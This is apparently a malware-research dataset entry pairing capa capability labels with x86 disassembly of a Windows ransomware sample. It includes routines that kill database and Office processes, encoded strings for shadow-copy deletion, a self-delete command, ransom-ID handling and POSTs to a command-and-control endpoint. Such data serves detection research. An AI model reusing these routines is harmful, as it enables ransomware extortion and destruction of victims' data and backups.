joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403de0
Capabilities:
Check for time delay via gettickcount
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
push 4
push 0x3000
push 0x18
mov ebx, ecx
push 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x43
mov dword [eax + 4], ebx
xor ebx, ebx
mov word [eax], cx
mov eax, dword [0x40e304]
mov dword [esp + 0x38], eax
mov eax, dword [0x40e308]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], eax
lea esi, [esp + 0x150]
mov edi, 0x41
jmp 0x403e40
lea eax, [esp + 0x38]
mov word [esp + 0x38], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jb 0x403e97
cmp eax, 5
je 0x403e97
mov eax, dword [esp + 0x10]
push 0
push 0
mov dword [esi - 4], eax
lea eax, [esi - 8]
push eax
push 0x406840
push 0
push 0
mov word [eax], di
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + ebx*4 + 0x48], eax
inc ebx
add esi, 0x18
inc edi
cmp di, 0x5a
jbe 0x403e40
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x50]
mov dword [esp + 0x24], ebx
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
push eax
push ebx
mov dword [esp + 0x24], 0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0xc]
xorps xmm0, xmm0
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x10], 0
movlpd qword [esp + 0x40], xmm0
cmp ebx, 2
jb 0x403f5c
lea ecx, [ebx - 2]
mov ebx, dword [esp + 0x28]
shr ecx, 1
lea eax, [esp + 0x170]
inc ecx
mov dword [esp + 0xc], ecx
lea edx, [ecx + ecx]
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
nop
mov ecx, dword [esp + 0x18]
add ecx, dword [eax - 0x20]
add ebx, dword [eax - 0x18]
mov dword [esp + 0x18], ecx
adc edi, dword [eax - 0x14]
mov ecx, dword [esp + 0x14]
add ecx, dword [eax - 8]
add esi, dword [eax]
mov dword [esp + 0x14], ecx
adc edx, dword [eax + 4]
lea eax, [eax + 0x30]
dec dword [esp + 0xc]
jne 0x403f20
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
jmp 0x403f64
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
cmp eax, ebx
jae 0x403f86
lea eax, [eax + eax*2]
mov ebx, dword [esp + eax*8 + 0x150]
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + eax*8 + 0x158]
mov eax, dword [esp + eax*8 + 0x15c]
jmp 0x403f8e
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
add esi, ecx
mov ecx, dword [esp + 0x14]
adc edx, edi
add esi, ebx
adc edx, eax
add ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x34]
push esi
call fcn.00405540
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403ff0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x412b00], 0
jne 0x404097
push edi
push 4
push 0x3000
push 0x16c4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x404090
xor ecx, ecx
lea eax, [edi + 0x16c1]
cmp edi, 0x40ff21
ja 0x40402f
cmp eax, 0x40e860
jae 0x404068
movdqa xmm1, xmmword [0x410940]
mov eax, edi
sub eax, 0x40e860
mov edi, edi
movdqu xmm0, xmmword [ecx + 0x40e860]
pxor xmm0, xmm1
movdqu xmmword [eax + ecx + 0x40e860], xmm0
add ecx, 0x10
cmp ecx, 0x16c0
jb 0x404040
cmp ecx, 0x16c2
jae 0x404090
push ebx
push esi
mov ebx, 0x40e860
lea edx, [ecx + edi]
mov esi, 0x16c2
sub ebx, edi
sub esi, ecx
jmp 0x404080
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, 5
mov byte [edx - 1], al
dec esi
jne 0x404080
pop esi
pop ebx
mov dword [0x412b00], edi
pop edi
ret
Function at 0x4040a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe8
cmp dword [0x412b04], 0
push esi
push edi
jne 0x40431c
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0xb8]
call fcn.004039b0
lea ecx, [esp + 0x60]
call fcn.00406d90
lea ecx, [esp + 0x60]
call fcn.00406ba0
mov esi, eax
push 0x40
push 0x3000
lea edi, [esi*2 + 0x42]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x5c], eax
test eax, eax
je 0x404128
lea ecx, [esi*2 + 0x40]
cmp ecx, edi
jae 0x404128
mov esi, eax
jmp 0x40412a
xor esi, esi
push esi
lea ecx, [esp + 0x64]
call fcn.004069a0
mov edx, str.ransom_id
mov ecx, esi
call fcn.00407ba0
push str.ransom_id
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movdqa xmm1, xmmword [0x410940]
mov ecx, section..data
mov edx, 0xad
lea esi, [esi + eax*2]
mov eax, 0xad0
mov dword [esp + 0xc], esi
jmp 0x404170
lea ecx, [ecx + 0x10]
movdqu xmm0, xmmword [ecx - 0x10]
pxor xmm0, xmm1
movdqu xmmword [ecx - 0x10], xmm0
dec edx
jne 0x404170
jmp 0x404190
xor byte [eax + section..data], 5
inc eax
cmp eax, 0xad6
jb 0x404190
mov edx, str.USERID
mov dword [0x412b04], 0x412000
mov ecx, section..data
call fcn.00407ba0
mov edi, eax
test edi, edi
je 0x40423a
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 0x20
mov word [edi + eax*2], cx
mov edi, section..data
mov ax, word [section..data]
test ax, ax
je 0x40423a
mov esi, edi
movzx ecx, ax
sub esi, str.USERID
mov eax, str.USERID
test cx, cx
je 0x404227
lea ecx, [ecx]
movzx ecx, word [eax]
test cx, cx
je 0x404322
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x40421d
add eax, 2
cmp word [esi + eax], dx
jne 0x404200
cmp word [eax], 0
je 0x404322
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0x4041f3
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 0x10], 0x740068
mov dword [esp + 0x14], 0x700074
mov dword [esp + 0x18], 0x2f003a
mov dword [esp + 0x1c], 0x67002f
mov dword [esp + 0x20], 0x630064
mov dword [esp + 0x24], 0x670062
mov dword [esp + 0x28], 0x760068
mov dword [esp + 0x2c], 0x79006a
mov dword [esp + 0x30], 0x790071
mov dword [esp + 0x34], 0x6a0037
mov dword [esp + 0x38], 0x6c0063
mov dword [esp + 0x3c], 0x2e006b
mov dword [esp + 0x40], 0x6e006f
mov dword [esp + 0x44], 0x6f0069
mov dword [esp + 0x48], 0x2e006e
mov dword [esp + 0x4c], 0x6f0074
mov dword [esp + 0x50], 0x2f0070
mov word [esp + 0x54], ax
cmp dword [0x412ae4], eax
jne 0x404302
push 4
push 0x3000
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x412ae4], eax
test eax, eax
je 0x404302
push esi
lea ecx, [esp + 0x14]
push ecx
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x8000
push 0
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x60]
call fcn.00407720
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
jmp 0x4041c0
Function at 0x404330
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
call fcn.00403ae0
test eax, eax
je 0x4043e0
xor ecx, ecx
mov dword [esp + 0x24], 0x77005c
mov dword [esp + 0x28], 0x650062
lea ebx, [esp + 0x24]
mov dword [esp + 0x2c], 0x5c006d
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0x6d0077
mov dword [esp + 0x34], 0x630069
mov dword [esp + 0x38], 0x65002e
mov dword [esp + 0x3c], 0x650078
mov word [esp + 0x40], cx
mov dword [esp + 0x44], 0x680073
mov dword [esp + 0x48], 0x640061
mov dword [esp + 0x4c], 0x77006f
mov dword [esp + 0x50], 0x6f0063
mov dword [esp + 0x54], 0x790070
mov dword [esp + 0x58], 0x640020
mov dword [esp + 0x5c], 0x6c0065
mov dword [esp + 0x60], 0x740065
mov dword [esp + 0x64], 0x65
jmp 0x4044d8
xor edi, edi
mov dword [esp + 0x10], 0x63005c
xor eax, eax
mov dword [esp + 0x14], 0x64006d
mov word [esp + 0xb4], ax
lea ebx, [esp + 0x10]
mov dword [esp + 0x18], 0x65002e
lea eax, [esp + 0x68]
mov dword [esp + 0x1c], 0x650078
mov word [esp + 0x20], di
mov dword [esp + 0x68], 0x63002f
mov dword [esp + 0x6c], 0x760020
mov dword [esp + 0x70], 0x730073
mov dword [esp + 0x74], 0x640061
mov dword [esp + 0x78], 0x69006d
mov dword [esp + 0x7c], 0x20006e
mov dword [esp + 0x80], 0x650064
mov dword [esp + 0x84], 0x65006c
mov dword [esp + 0x88], 0x650074
mov dword [esp + 0x8c], 0x730020
mov dword [esp + 0x90], 0x610068
mov dword [esp + 0x94], 0x6f0064
mov dword [esp + 0x98], 0x730077
mov dword [esp + 0x9c], 0x2f0020
mov dword [esp + 0xa0], 0x6c0061
mov dword [esp + 0xa4], 0x20006c
mov dword [esp + 0xa8], 0x71002f
mov dword [esp + 0xac], 0x690075
mov dword [esp + 0xb0], 0x740065
push 0x40
push 0x3000
push 0x400
push 0
mov dword [esp + 0x1c], eax
mov edi, 0x20
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4044ff
xor edi, edi
jmp 0x40452f
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push dword [esp + 0x14]
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb edi, edi
neg edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404550
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0x68]
call fcn.004039b0
lea ecx, [esp + 0x10]
call fcn.00406d90
lea ecx, [esp + 0x10]
call fcn.00406ba0
mov esi, eax
push 0x40
push 0x3000
lea ebx, [esi*2 + 0x42]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x4045c7
lea ecx, [esi*2 + 0x40]
cmp ecx, ebx
jae 0x4045c7
mov esi, edi
jmp 0x4045c9
xor esi, esi
push str.Global_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x10]
lea eax, [esi + eax*2]
push eax
call fcn.004069a0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
je 0x40460e
call esi
cmp eax, 0xb7
je 0x40460e
xor esi, esi
jmp 0x404613
mov esi, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x10]
call fcn.00407720
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404640
Capabilities:
Enumerate processes
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], str.msftesql.exe
mov dword [esp + 0x1c], str.sqlagent.exe
mov dword [esp + 0x20], str.sqlbrowser.exe
mov dword [esp + 0x24], str.sqlservr.exe
mov dword [esp + 0x28], str.sqlwriter.exe
mov dword [esp + 0x2c], str.oracle.exe
mov dword [esp + 0x30], str.ocssd.exe
mov dword [esp + 0x34], str.dbsnmp.exe
mov dword [esp + 0x38], str.synctime.exe
mov dword [esp + 0x3c], str.mydesktopqos.exe
mov dword [esp + 0x40], str.agntsvc.exeisqlplussvc.exe
mov dword [esp + 0x44], str.xfssvccon.exe
mov dword [esp + 0x48], str.mydesktopservice.exe
mov dword [esp + 0x4c], str.ocautoupds.exe
mov dword [esp + 0x50], str.agntsvc.exeagntsvc.exe
mov dword [esp + 0x54], str.agntsvc.exeencsvc.exe
mov dword [esp + 0x58], str.firefoxconfig.exe
mov dword [esp + 0x5c], str.tbirdconfig.exe
mov dword [esp + 0x60], str.ocomm.exe
mov dword [esp + 0x64], str.mysqld.exe
mov dword [esp + 0x68], str.mysqld_nt.exe
mov dword [esp + 0x6c], str.mysqld_opt.exe
mov dword [esp + 0x70], str.dbeng50.exe
mov dword [esp + 0x74], str.sqbcoreservice.exe
mov dword [esp + 0x78], str.excel.exe
mov dword [esp + 0x7c], str.infopath.exe
mov dword [esp + 0x80], str.msaccess.exe
mov dword [esp + 0x84], str.mspub.exe
mov dword [esp + 0x88], str.onenote.exe
mov dword [esp + 0x8c], str.outlook.exe
mov dword [esp + 0x90], str.powerpnt.exe
mov dword [esp + 0x94], str.steam.exe
mov dword [esp + 0x98], str.sqlservr.exe
mov dword [esp + 0x9c], str.thebat.exe
mov dword [esp + 0xa0], str.thebat64.exe
mov dword [esp + 0xa4], str.thunderbird.exe
mov dword [esp + 0xa8], str.visio.exe
mov dword [esp + 0xac], str.winword.exe
mov dword [esp + 0xb0], str.wordpad.exe
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 4
push 0x3000
push 0x22c
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x4047eb
mov dword [ebx], 0x22c
cmp esi, 0xffffffff
je 0x4047eb
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebx + 0x24]
xor esi, esi
jmp 0x404800
push ecx
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40483b
push dword [ebx + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x404835
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x40483b
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
lea ecx, [ebx + 0x24]
cmp esi, 0x27
jb 0x404800
mov esi, dword [esp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
lea ecx, [ebx + 0x24]
test eax, eax
jne 0x4047f4
test ebx, ebx
je 0x404869
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404b10
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.00408b30
mov eax, dword [0x412b0c]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0x412b08]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x404b84
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004084b0
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x412b10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x404d35
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x404d2c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x404cc6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x404d27
inc eax
cmp byte [esi + eax], dl
jne 0x404d10
cmp byte [eax], 0
je 0x404cc6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x404d00
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x404d56
cmp dword [ebp - 0xc], 0
je 0x404d56
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.00404ba0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x404d60
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x48], 0x73006e
push eax
mov word [ebp - 0x10], ax
mov ebx, edx
mov dword [ebp - 8], eax
mov edi, ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x44], 0x6f006c
push eax
push 0x412b0c
push 0x412b10
mov dword [ebp - 0x40], 0x6b006f
mov dword [ebp - 0x3c], 0x700075
mov dword [ebp - 0x38], 0x250020
mov dword [ebp - 0x34], 0x200053
mov dword [ebp - 0x30], 0x6e0064
mov dword [ebp - 0x2c], 0x310073
mov dword [ebp - 0x28], 0x73002e
mov dword [ebp - 0x24], 0x70006f
mov dword [ebp - 0x20], 0x6f0072
mov dword [ebp - 0x1c], 0x6e0064
mov dword [ebp - 0x18], 0x2e0073
mov dword [ebp - 0x14], 0x750072
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x404e09
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0x412b10]
call esi
test eax, eax
je 0x404dff
push 0
lea eax, [ebp - 0xc]
push eax
push 0x412b14
push 0x412b08
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0x412b14]
call esi
test eax, eax
je 0x404dff
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x404e95
push ebx
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.00404b10
mov edx, ebx
mov ecx, edi
call fcn.00404cb0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movdqa xmm0, xmmword [0x410960]
lea eax, [ebp - 0x44]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push 0x3000
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push 0x100
push 0
mov dword [ebp - 0x20], 0x69736d65
mov dword [ebp - 0x1c], 0x74666f73
mov dword [ebp - 0x18], 0x7469622e
mov byte [ebp - 0x14], 0
movdqu xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x646e6167
mov dword [ebp - 0x2c], 0x62617263
mov dword [ebp - 0x28], 0x7469622e
mov byte [ebp - 0x24], 0
mov dword [ebp - 8], eax
call edi
mov ebx, eax
test ebx, ebx
je 0x404fc0
xor ecx, ecx
xor esi, esi
mov eax, dword [ebp + esi*4 - 0x10]
inc esi
mov dword [ebp - 4], eax
xor eax, eax
cmp esi, 3
cmove esi, eax
cmp ecx, 0xffffffff
jne 0x404f52
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call edi
mov edx, dword [ebp - 4]
mov edi, eax
mov ecx, edi
call fcn.00404d60
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404fa0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
or ecx, 0xffffffff
jmp 0x404f32
push edi
push 0x40ff64
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404fd0
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0x405039
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0x405039
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x404
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x200
push esi
push 0
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x405357
push 0
push 0
push 0
push 8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405350
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x405347
lea esi, [eax + 0x4e]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
xor ebx, ebx
lea edi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
je 0x405338
mov ecx, esi
test bl, 1
jne 0x405323
mov al, byte [esi]
inc esi
mov byte [ebx + edi], al
jmp 0x405327
mov byte [ebx + edi], 0
push ecx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
add eax, eax
cmp ebx, eax
jb 0x405316
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 8], ebx
call fcn.004077f0
call fcn.00404eb0
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
mov ebx, eax
push 0
mov dword [ebp - 0x18], ebx
call esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x4053da
lea eax, [edi + 1]
cmp edi, eax
jb 0x4053dc
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.data
push ebx
call esi
push dword [ebp - 8]
push ebx
call esi
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push ebx
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [0x40ffe0]
movdqu xmmword [ebp - 0x74], xmm0
movdqu xmm0, xmmword [0x40fff0]
movdqu xmmword [ebp - 0x64], xmm0
movdqu xmm0, xmmword [0x410000]
movdqu xmmword [ebp - 0x54], xmm0
movdqu xmm0, xmmword [0x410010]
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [0x410020]
movdqu xmmword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
lea eax, [ebp - 0x480]
push 0x3fc
push edi
push eax
mov dword [ebp - 0x484], edi
call fcn.00408b30
add esp, 0xc
lea eax, [ebp - 0x484]
push str.curl.php_token
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x484]
call fcn.00405270
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x84]
push eax
push str.POST
sub esp, 8
push 0x31fff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x484]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.00407a00
test eax, eax
je 0x4054f8
cmp dword [ebp + 8], 0
mov edi, 1
je 0x4054f8
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
mov ecx, esi
call fcn.00405050
test eax, eax
je 0x4054f6
mov eax, dword [ebp - 8]
test eax, eax
je 0x4054f8
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x4054f8
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40552e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret